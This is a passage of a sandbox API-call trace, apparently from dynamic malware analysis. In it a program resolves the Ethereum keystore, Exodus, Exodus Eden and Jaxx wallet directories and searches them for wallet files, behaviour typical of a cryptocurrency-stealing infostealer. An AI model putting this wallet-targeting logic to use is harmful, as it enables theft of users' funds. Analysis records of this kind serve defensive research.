dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.161] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", len=0x41 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", len=0x41 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", len=0x41 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.161] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\", len=0x40 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Ethereum\\keystore\\") returned 1 [0075.161] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.161] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.161] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Exodus\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 0x36 [0075.161] SysReAllocStringLen (in: pbstr=0x18e5d0*="%APPDATA%\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.161] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*.json,*.seco", cchWideChar=13, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*.json,*.secoÒ\x18", lpUsedDefaultChar=0x0) returned 13 [0075.162] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x3982e4c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x3982e4c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", len=0x37 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", len=0x37 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*") returned 1 [0075.162] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", len=0x37 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", len=0x36 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", len=0x36 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", len=0x36 | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", len=0x36 | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*") returned 1 [0075.163] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.163] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", len=0x36 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", len=0x36 | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", len=0x36 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.163] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\", len=0x35 | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus\\") returned 1 [0075.163] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.163] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.163] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Exodus Eden\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 0x3b [0075.163] SysReAllocStringLen (in: pbstr=0x18e5d0*="%APPDATA%\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.163] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*.json,*.seco", cchWideChar=13, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*.json,*.secoÒ\x18", lpUsedDefaultChar=0x0) returned 13 [0075.163] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x2321d84*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x2321d84*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e33c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", len=0x3c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", len=0x3c | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*") returned 1 [0075.164] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", len=0x3c | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", len=0x3b | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", len=0x3b | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", len=0x3b | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", len=0x3b | out: pbstr=0x18e33c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*") returned 1 [0075.165] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\*", lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.165] SysReAllocStringLen (in: pbstr=0x18e5b8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", len=0x3b | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e298*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", len=0x3b | out: pbstr=0x18e298*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", len=0x3b | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\", len=0x3a | out: pbstr=0x18e5b8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Exodus Eden\\") returned 1 [0075.165] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e350 | out: lpFindFileData=0x18e350*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.165] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0075.165] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Jaxx\\Local Storage\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 0x42 [0075.165] SysReAllocStringLen (in: pbstr=0x18e5d0*="%APPDATA%\\Jaxx\\Local Storage\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\", len=0x41 | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Jaxx\\Local Storage\\") returned 1 [0075.165] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0075.165] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS 